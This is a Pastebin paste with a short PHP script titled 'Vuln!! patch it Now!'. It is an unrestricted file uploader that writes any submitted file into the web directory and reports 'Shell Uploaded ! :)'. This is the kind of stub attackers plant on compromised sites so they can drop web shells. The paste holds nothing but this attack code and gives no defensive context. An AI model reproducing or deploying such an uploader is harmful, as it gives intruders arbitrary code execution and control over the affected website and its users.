Advertisement
Bar3k

Untitled

Apr 25th, 2018
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.45 KB | None | 0 0
  1. <title>Vuln!! patch it Now!</title>
  2. <?php
  3. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  4. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  5. if( $_POST['_upl'] == "Upload" ) {
  6. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Shell Uploaded ! :)<b><br><br>'; }
  7. else { echo '<b>Not uploaded ! </b><br><br>'; }
  8. }
  9. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement